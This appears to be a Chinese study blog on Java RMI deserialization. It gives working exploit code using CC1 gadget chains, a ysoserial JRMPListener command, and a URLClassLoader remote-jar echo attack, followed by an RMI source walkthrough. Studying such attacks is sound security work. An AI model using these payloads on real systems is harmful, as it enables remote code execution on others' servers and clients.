try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}

unbindlookup的攻击手法是一样的,我们这里用lookup来分析

实际上这两者的攻击思路和bind/rebind是相类似的,但是lookup这里只能传入String字符串,我们可以通过伪造lookup连接请求利用,修改lookup方法,使其可以传入对象

我们想要修改lookup方法,就要知道它的内部原理

其实我们从try–catch结构来看,就知道哪里是重要代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
}......
}

重要的代码有以下几条,这里我们重点看传输部分

1
2
3
4
5
6
7
8
9
//传输
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
super.ref.invoke(var2);

//接收
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();

我们这里只需要想办法去获取newCall中的super.ref和operations,就能去伪造一个lookup请求

别的师傅通过反射来获取operations,我找到operations赋值地方,我这里直接用这个赋值

1
private static final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

通过调试,我找到了super.ref的地方(比较笨,只能通过调试来)

registry中的第一个属性

通过反射获取Field数组,从中找到UnicastRef

1
2
3
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}

攻击客户端

我们之前分析过,在客户端中,在unmarshalValue()方法中,存在着入口

注册中心攻击客户端

对于注册中心看,我们还是上面说的那几种方式触发

除了unbindrebind方法,都会返回数据给客户端,当序列化数据到了客户端时就会反序列化,我们需要控制注册中心返回的数据,就可以实现对客户端的攻击

我们使用ysoserial的JRMPListener,命令如下

1
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

然后使用客户端访问

1
2
3
4
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}

服务端攻击客户端

服务端攻击客户端,通过 服务端返回Object对象 来攻击

传递回来不一定是基础数据类型(String,int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要进行对应的反序列化操作。

我们需要伪造一个服务器,当客户端调用某个远程方法时,返回的参数是我们的恶意对象

服务端接口类

1
2
3
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

服务端接口实现类,返回CC1Object对象(这里不是很懂,对handler的封装是怎么个事)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public RemoteObjImpl() throws RemoteException {

}

public Object sayHello() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


return (Object) handler;

}
}

服务端创建注册中心并绑定

1
2
3
4
5
public static void main(String[] args) throws Exception{
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj",remoteObj);
}

用服务器对客户端进行远程方法的调用

1
2
3
4
5
6
7
8
public class RMIClient implements Serializable {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj)registry.lookup("remoteObj");
remoteObj.sayHello();
}
}

攻击服务端

客户端攻击服务端

  • jdk 1.7
  • CC3.2.1依赖
  • RMI提供的数据类型有Object类型

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.rmi.Naming;  
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}

public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}

public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}

@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;

public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}

}

应该是传输Object对象过程中,需要反序列化导致的攻击吧

RMI进阶攻击方式

URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常时,会直接把异常发回来,这里我们利用URLClassLoader远程加载jar/class文件,传入服务端,反序列化调用其任意方法,在方法内抛出错误,错误返回客户端

远程Dome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ErrorBaseExec {
public static void doExec(String args) throws Exception {
Process exec = Runtime.getRuntime().exec(args);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuffer stringBuffer = new StringBuffer();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append("\n");
}
String result = stringBuffer.toString();
Exception e = new Exception(result);
throw e;
}
}

制作jar包命令如下

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端Poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = 远程jar;
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

RMI专题

RMI简介

最早的最早,从分布式概念出现以后,工程师们,制造了一种,基于Java语言的远程方法调用的东西,它叫RMI(Remote Method Invocation),我们使用Java代码,可以利用这种技术,去跨越JVM,调用另一个JVM的类方法。

因为任何东西都是基于socket,RMIClient直接去找RMIServer,并不知道这个类是基于哪个端口的,所以有了RMI Registry

我们需要把被调用的类,注册到一个叫做RMI Registry的地方,只有把类注册到这个地方,调用者就能通过RMI Registry找到类所在JVM的ip和port,才能跨越JVM完成远程方法的调用。

实现

这里我们来做一个简单的实现

我们需要准备一个Client和一个Server,首先他们需要定义一个一样的接口IRemoteObj

1
2
3
4
5
6
7
8
9
package com.source;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

服务端

服务端需要去把这个接口实现,因为最后调用的是服务端的代码

RemoteObjlmpl这个类在定义的时候有要求,需要继承UnicastRemoteObject这个类(如果你想把这个绑定到RMIRegistry中,就需要去继承它

1
2
3
4
5
6
7
8
9
10
11
public class RemoteObjlmpl extends UnicastRemoteObject  implements IRemoteObj{

public RemoteObjlmpl() throws RemoteException {}
@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

在服务端代码中,首先我们需要去创建一个远程对象来保证通信,但是客户端并不知道这个端口是多少,所以需要一个注册中心RMIregistry,它是有固定端口的,一般是1099,最后把注册中心绑定到远程对象上

1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjlmpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

客户端

客户端获取注册中心(ip和端口都是固定的),从注册中心中查找remoteObj远程对象,然后去调用他的方法
1
2
3
4
5
6
7
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

在这通信过程中,通过网络操作去实现一个内存操作,这里面有一个对象的创建和调用过程,这里面全是通过序列化和反序列化实现的

源码层面分析

创建远程服务

创建远程服务代码如下,我们动态调试来看一下
1
IRemoteObj remoteObj = new RemoteObjlmpl();

首先会调用RemoteObjImpl的构造方法

由于这个类继承于UnicastRemoteObject,使用会调用父类的无参构造

在其父类的构造方法中,会将默认port设置为0(后续会随机设置一个端口)

1
2
3
4
5
6
7
8
9
10
protected UnicastRemoteObject() throws RemoteException
{
this(0);
}

protected UnicastRemoteObject(int port) throws RemoteException
{
this.port = port;
exportObject((Remote) this, port);
}

之后会有一系列的赋值,我们就不细看了

在其构造方法中,会调用exportObject,它的名字就是”导出对象“,很明显是我们的核心函数

其中,它创建了一个UnicastServerRef,”服务端引用“,其中传入了一个端口,前面这个obj,很明显是我们用来实现逻辑的,而后面这个对象,就是我们用来处理网络请求的了

1
2
3
4
5
public static Remote exportObject(Remote obj, int port)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef(port));
}

在UnicastServerRef的构造函数中,创建了一个LiveRef类(非常重要的一个类),将port传入其构造函数

1
2
3
public UnicastServerRef(int port) {
super(new LiveRef(port));
}

(其中传入的一个ObjID我们就不多说了)其中TCPEndpoint的构造函数(一个IP,一个端口),很明显就是用来处理网络请求的

LiveRef中,存着endpoint,objID与isLocal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public LiveRef(int port) {
this((new ObjID()), port);
}

public LiveRef(ObjID objID, int port) {
this(objID, TCPEndpoint.getLocalEndpoint(port), true);
}

public LiveRef(ObjID objID, Endpoint endpoint, boolean isLocal) {
ep = endpoint;
id = objID;
this.isLocal = isLocal;
}

//TCPEndpoint
public TCPEndpoint(String host, int port) {
this(host, port, null, null);
}

其中ep存入的东西如下(目前port为0),后面我们会说到,transport才是真正处理网络请求的东西,外面的每一层都是对它的封装

这样LiveRef就创建好了,然后会调用它父类的构造函数

在其父类的构造函数,也是简单赋了值

1
2
3
4
5
6
7
public UnicastServerRef(int port) {
super(new LiveRef(port));
}

public UnicastRef(LiveRef liveRef) {
ref = liveRef;
}

返回回去,我们进入exportObject方法,在sref中,封装着LiveRef

在这段中,就是一直在不同的类中调用exportObject

1
2
3
4
5
6
7
8
9
10
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
}

进入sref中的exportObject方法,在这里创建了代理stub

那么有人问了,我这里不是服务端吗,为什么会创建客户端的stub呢?

这里是因为,是服务端创建stub,将stub放在注册中心,客户端去注册中心拿到stub,然后用stub去操作skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
Class<?> implClass = impl.getClass();
Remote stub;

try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);
hashToMethod_Map = hashToMethod_Maps.get(implClass);
return stub;
}

我们看看createProxy中的逻辑,其中implClass中放的是远程对象的类,clientRef中放着LiveRef

其中有一个判断,forceStubUse和ignoreStubClasses咱们暂时不解释它,看一下stubClassExists中的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
Class<?> remoteClass;

...

if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}

...
}

它判断,如果存在 远程类的名字+ “_Stub” 这个类,他就会走进去

实际上JDK中有一些类是已经定义好的(现在我们先过,后面会说)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

还是在这个类中,接下来就会创建动态代理,经过些,动态代理就已经创建好了

1
2
3
4
5
6
7
8
9
10
try {
return AccessController.doPrivileged(new PrivilegedAction<Remote>() {
public Remote run() {
return (Remote) Proxy.newProxyInstance(loader,
interfaces,
handler);
}});
} catch (IllegalArgumentException e) {
throw new StubNotFoundException("unable to create proxy", e);
}

tip:在创建代理过程中的几个参数如下

若上述过程中,存在这么一个系统内置的stub类,就会进入下面的if当中(后续讨论)

1
2
3
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

创建完成后,会将当前有用的信息封装进入,就是一个总封装(其中封装的信息如下)

1
2
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);

接下来就把我们封装的东西发布出去(使用exportObject函数),我们进入看一下它的逻辑

1
ref.exportObject(target);

这里会层层调用exportObject函数,最终走到了TCPTransport的exportObject,这里是最终处理网络请求的地方,在TCPTransport#exportObject会调用listen函数,这里就会开放端口,我们跟进去看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//LiveRef#exportObject
public void exportObject(Target target) throws RemoteException {
ep.exportObject(target);
}

// TCPEndpoint#exportObject
public void exportObject(Target target) throws RemoteException {
transport.exportObject(target);
}

//TCPTransport#exportObject
public void exportObject(Target target) throws RemoteException {
/*
* Ensure that a server socket is listening, and count this
* export while synchronized to prevent the server socket from
* being closed due to concurrent unexports.
*/
synchronized (this) {
listen();
exportCount++;
}

/*
* Try to add the Target to the exported object table; keep
* counting this export (to keep server socket open) only if
* that succeeds.
*/
boolean ok = false;
try {
super.exportObject(target);
ok = true;
} finally {
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}

server = ep.newServerSocket();构造了一个socket,创建一个线程后打开线程,等待别人来连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// TCPTransport#listen
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint ep = getEndpoint();
int port = ep.getPort();

if (server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF,
"(port " + port + ") create server socket");
}

try {
server = ep.newServerSocket();
/*
* Don't retry ServerSocket if creation fails since
* "port in use" will cause export to hang if an
* RMIFailureHandler is not installed.
*/
Thread t = AccessController.doPrivileged(
new NewThreadAction(new AcceptLoop(server),
"TCP Accept-" + port, true));
t.start();
} catch (java.net.BindException e) {
throw new ExportException("Port already in use: " + port, e);
} catch (IOException e) {
throw new ExportException("Listen failed on port: " + port, e);
}

} else {
// otherwise verify security access to existing server socket
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkListen(port);
}
}
}

在构造socket的过程中,如果说端口是0的话,就会随机设置一个端口

1
2
if (listenPort == 0)
setDefaultPort(server.getLocalPort(), csf, ssf);

最后经过一系列返回,最后ObjectTable中,使用putTarget将target保存在了一个静态表objTable中

1
2
3
...
objTable.put(oe, target);
implTable.put(weakImpl, target);

创建服务端的代码就走完了,最后等待连接

创建注册中心+绑定

创建注册中心

tip:表面上注册中心和远程服务是不一样的东西,但是实际上是一样的东西

创建注册中心代码如下,我们将1099默认端口传入

1
Registry r = LocateRegistry.createRegistry(1099);

走进createRegistry方法中,该方法会创建RegistryImpl对象

1
2
3
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}

我们看一下它的构造方法,首先开头的if判断是一个安全验证的东西,我们暂时不看,在下方else中,会创建LiveRef对象和UnicastServerRef对象,UnicastServerRef中放入LiveRef(和我们之看的创建远程服务很是类似)最后调用了一个setup方法

1
2
3
4
5
6
7
8
9
10
public RegistryImpl(int port)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
...
} else {
LiveRef lref = new LiveRef(id, port);
setup(new UnicastServerRef(lref));
}
}

看看再setup方法中干了些什么

与注册远程服务时UnicastRemoteObject#exportObject相比,只有第三个参数由false变为了ture

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void setup(UnicastServerRef uref)
throws RemoteException
{
/* Server ref must be created and assigned before remote
* object 'this' can be exported.
*/
ref = uref;
uref.exportObject(this, null, true);
}

// UnicastRemoteObject#exportObject
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}

boolean permanent为第三个参数,意为永久性,所以说我们现在创建的注册中心是一个永久性的对象,而之前说的远程服务是一个临时性的对象

1
2
public Remote exportObject(Remote impl, Object data,
boolean permanent)

接下来我们应该可以回顾起来之前的知识

下面我把有区别的地方拿出来,再最后调用的stubClassExists中的if判断时候,最终会找到RegistryImpl_Stub类,所以会走到try中的函数并返回true

createProxy的if判断中返回true后,会走到if中,执行createStub函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// UnicastServerRef#exportObject
public Remote exportObject(Remote impl, Object data,
boolean permanent)
throws RemoteException
{
...
try {
stub = Util.createProxy(implClass, getClientRef(), forceStubUse);
} catch (IllegalArgumentException e) {
throw new ExportException(
"remote object implements illegal remote interface", e);
}
...
}

// Util#createProxy
public static Remote createProxy(Class<?> implClass,
RemoteRef clientRef,
boolean forceStubUse)
throws StubNotFoundException
{
...
if (forceStubUse ||
!(ignoreStubClasses || !stubClassExists(remoteClass)))
{
return createStub(remoteClass, clientRef);
}
...
}

// Util#stubClassExists
private static boolean stubClassExists(Class<?> remoteClass) {
if (!withoutStubs.containsKey(remoteClass)) {
try {
Class.forName(remoteClass.getName() + "_Stub",
false,
remoteClass.getClassLoader());
return true;

} catch (ClassNotFoundException cnfe) {
withoutStubs.put(remoteClass, null);
}
}
return false;
}

createStub函数中也非常简单,将我们所找到的类先初始化,再实例化出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
throws StubNotFoundException
{
String stubname = remoteClass.getName() + "_Stub";

/* Make sure to use the local stub loader for the stub classes.
* When loaded by the local loader the load path can be
* propagated to remote clients, by the MarshalOutputStream/InStream
* pickle methods
*/
try {
Class<?> stubcl =
Class.forName(stubname, false, remoteClass.getClassLoader());
Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
return (RemoteStub) cons.newInstance(new Object[] { ref });

} catch (ClassNotFoundException e) {
throw new StubNotFoundException(
"Stub class not found: " + stubname, e);
} catch (NoSuchMethodException e) {
throw new StubNotFoundException(
"Stub class missing constructor: " + stubname, e);
} catch (InstantiationException e) {
throw new StubNotFoundException(
"Can't create instance of stub class: " + stubname, e);
} catch (IllegalAccessException e) {
throw new StubNotFoundException(
"Stub class constructor not public: " + stubname, e);
} catch (InvocationTargetException e) {
throw new StubNotFoundException(
"Exception creating instance of stub class: " + stubname, e);
} catch (ClassCastException e) {
throw new StubNotFoundException(
"Stub class not instance of RemoteStub: " + stubname, e);
}
}

创建完成之后的Stub是一个RegistryImpl_Stub,其中封装着UnicastRefUnicastRef封装着LiveR``ef

由于我们的Stub是RegistryImpl_Stub,是JDK中自带的Stub,而它是继承于RemoteStub的,所以会进入到if当中,执行setSkeleton方法

1
public final class RegistryImpl_Stub extends RemoteStub implements Registry, Remote 
1
2
3
if (stub instanceof RemoteStub) {
setSkeleton(impl);
}

setSkeleton方法中,会创建一个Sekleton,服务端和客户端都会有代理来处理网络请求,客户端代理为Stub,而服务端代理则为Sekleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void setSkeleton(Remote impl) throws RemoteException {
if (!withoutSkeletons.containsKey(impl.getClass())) {
try {
skel = Util.createSkeleton(impl);
} catch (SkeletonNotFoundException e) {
/*
* Ignore exception for skeleton class not found, because a
* skeleton class is not necessary with the 1.2 stub protocol.
* Remember that this impl's class does not have a skeleton
* class so we don't waste time searching for it again.
*/
withoutSkeletons.put(impl.getClass(), null);
}
}
}

最后也是直接通过 远程类的名字+ “_Skel” 初始化并且实例化这个类并返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static Skeleton createSkeleton(Remote object)
throws SkeletonNotFoundException
{
Class<?> cl;
try {
cl = getRemoteClass(object.getClass());
} catch (ClassNotFoundException ex ) {
throw new SkeletonNotFoundException(
"object does not implement a remote interface: " +
object.getClass().getName());
}

// now try to load the skeleton based ont he name of the class
String skelname = cl.getName() + "_Skel";
try {
Class<?> skelcl = Class.forName(skelname, false, cl.getClassLoader());

return (Skeleton)skelcl.newInstance();
} catch (ClassNotFoundException ex) {
throw new SkeletonNotFoundException("Skeleton class not found: " +
skelname, ex);
} catch (InstantiationException ex) {
throw new SkeletonNotFoundException("Can't create skeleton: " +
skelname, ex);
} catch (IllegalAccessException ex) {
throw new SkeletonNotFoundException("No public constructor: " +
skelname, ex);
} catch (ClassCastException ex) {
throw new SkeletonNotFoundException(
"Skeleton not of correct class: " + skelname, ex);
}
}

最后也是,创建一个Target,去吧有用的东西都存入进去,并把我们封装的东西发布出去(使用exportObject函数)

1
2
3
Target target =
new Target(impl, this, stub, ref.getObjID(), permanent);
ref.exportObject(target);

最后在TCPTransport中的exportObject方法中调用其父类的exportObject,使用putTarget方法,将所封装的Target放入静态表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// TCPTransport#exportObject
public void exportObject(Target target) throws RemoteException {
...
try {
super.exportObject(target);
ok = true;
} ...
}

// Transport#exportObject
public void exportObject(Target target) throws RemoteException {
target.setExportedTransport(this);
ObjectTable.putTarget(target);
}

// ObjectTable#putTarget
